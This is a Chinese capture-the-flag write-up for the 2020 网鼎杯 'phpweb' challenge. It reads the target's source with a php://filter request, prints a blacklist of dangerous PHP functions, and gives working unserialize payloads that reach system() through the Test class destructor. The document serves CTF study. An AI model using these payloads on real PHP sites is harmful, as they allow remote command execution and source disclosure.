首页 > 编程语言 >[网鼎杯 2020 朱雀组]phpweb

[网鼎杯 2020 朱雀组]phpweb

时间:2024-09-08 11:35:27浏览次数:5  
标签:函数 gettime phpweb echo 2020 result func Test 网鼎杯


仔细地话可以看到这题每个一段时间就会刷新一次页面,而且后面还会有一个时间,就很可疑,抓个包试试


果然多了几个参数func=date&p=Y-m-d+h%3Ai%3As+a
经过搜索

发现这是一个函数(用来显示时间,也就证实了前面地图片为什么会出现时间地原因)
于是试着就修改函数和参数来执行命令
但是最后输出了hacker,所以判断此处存在过滤,这里就利用file_get_contents函数来获取源码
func=file_get_contents&p=php://filter/read=convert.base64-encode/resource=index.php
最后成功拿到源码,拿去base64解码

拿出其中的php代码

    <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

可以看到禁用了很多函数,但是注意到Test类中有个__destruct魔术方法,这个方法最后会调用gettime()函数,并输出结果
首先来看gettime()函数

    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }

这里将Test类中的两个变量传入作为这个函数的参数,
$result = call_user_func($func, $p);
这个call_user_func($func, $p)的意思其实就是将$p作为$func的参数,然后执行$func函数
如:

function func($a){
      echo $a;
}
而call_user_func($func,$p)就相当于执行
function func($p)
{
      echo $p;
}

然后将结果赋给$result,再将$result的类型(string,int)赋值给$a,最后进行比较
所以这里思路就出来了,利用反序列化函数unserialize()调用 __destruct()魔术方法(跳过黑名单检测),将想要执行的命令放入$p中,就可以了
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}

可以看到执行成功了,而现在的问题是不知道flag在哪里,需要要到linux操作的知识
find / -name flag*(记得修改序列化字符串前面的长度)

最后的payload:
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

标签:函数,gettime,phpweb,echo,2020,result,func,Test,网鼎杯
From: https://www.cnblogs.com/lcmz/p/18402710

相关文章

  • P8139 [ICPC2020 WF] Sweep Stakes 题解
    思路容易发现,题目要求我们动态维护这样一个多项式。\[\prod_{i}(1-p_i+p_ix)\]如何维护。由于精度问题,我们很难去进行一个多项式除法将其暴力求出。考虑\(p_i\le0.2\)。可以得知,我们的多项式的数的增减是比较大的。那么在一定数量后,一些可能有值的系数在当前精度下是可以......
  • 【春秋云境】CVE-2020-26048(文件上传漏洞)
    点击路径,进入页面,尝试攻克。admin/admin弱口令成功登录寻找能进行文件上传的地方,点击“文件管理”尝试上传php后缀的一句话木马文件,发现失败上传png后缀的一句话木马文件,发现成功对文件重命名前打开bp,进行抓包,修改后缀名删除.htaccess文件(该文件具有重定向URL、......
  • LG P9108 [PA2020] Malowanie płotu
    状态数是\(O(nm^2)\)的DP很好想,就是\(dp_{i,l,r}\)表示第\(i\)次的区间为\([l,r]\)的方案数。但是这个状态数就已经死了,而题目又提示\(n\timesm\leq1e7\),说明状态只能形如\(dp_{i,j}\)。这时就会想到一个简陋的打补丁方式:设\(f_{i,l},g_{i,r}\)分别表示第\(i\)......
  • 记一次学习--HIDS-phpwebshell绕过
    目录第一个样本代码分析结果第二个样本代码分析结果第三个样本 结果第四个样本结果 第五个样本结果第六个样本结果 第七个样本结果第八个样本(通过session绕过)第九个样本第十个样本第十一个样本(自己改变自己)第十二个样本结果第十三个样本(优先队列......
  • P9108 [PA2020] Malowanie płotu
    题意:给定\(n,m\),一个区间序列\(\{[L_1,R_1],[L_2,R_2],\cdots,[L_n,R_n]\}\)被称为好的当且仅当:\(\foralli\in[1,n],1\leL_i\leR_i\lem\)。\(\foralli\in[1,n-1],[L_i,R_i]\cup[L_{i+1},R_{i+1}]\ne\emptyset\)。输出好的序列个数对给定质数\(p\)......
  • 2019-2020 ICPC Northwestern European Regional Programming Contest (NWERC 2019):GH
    前言目前打过的最逆天的一场,前半场CF评测机度假去了,全场Inqueue,两小时左右评测机终于回来了,Standings遍地开花,听取WA声一片。昨天就有好几道题是因为没及时看题所以没做,赛后还和队友商量说应该先把所有题大致看一遍,结果今天不长记性,还没看H和J,就去写思路不一定对+实现起来难得......
  • [蓝桥杯 2020 省 A1] 超级胶水--题解
    题目再现:链接跳转:[蓝桥杯2020省A1]超级胶水-洛谷#[蓝桥杯2020省A1]超级胶水##题目描述小明有$n$颗石子,按顺序摆成一排,他准备用胶水将这些石子粘在一起。 每颗石子有自己的重量,如果将两颗石子粘在一起,将合并成一颗新的石子,重量是这两颗石子的重量之和。为......
  • [ICPC2020 WF] What's Our Vector, Victor?
    给出\(d\)维空间的\(n\)个点及它们到某个定点的距离,你需要解出这个定点的坐标。保证有解,任意输出一组解即可。\(n,d\le500\),所有点的坐标(包括定点)随机。拜谢zhy大师!给出了一个十分简单好理解的做法!线代不好怎么办?我们可以猜猜结论!首先这道题相当于是给了\(n\)个形......
  • CSP-J 2020 初赛试题解析(第一部分:单项选择题(5-10))
    ......
  • P7075 [CSP-S2020] 儒略日 题解
    P7075[CSP-S2020]儒略日题面:题目描述为了简便计算,天文学家们使用儒略日(Julianday)来表达时间。所谓儒略日,其定义为从公元前4713年1月1日正午12点到此后某一时刻间所经过的天数,不满一天者用小数表达。若利用这一天文学历法,则每一个时刻都将被均匀的映射到数轴......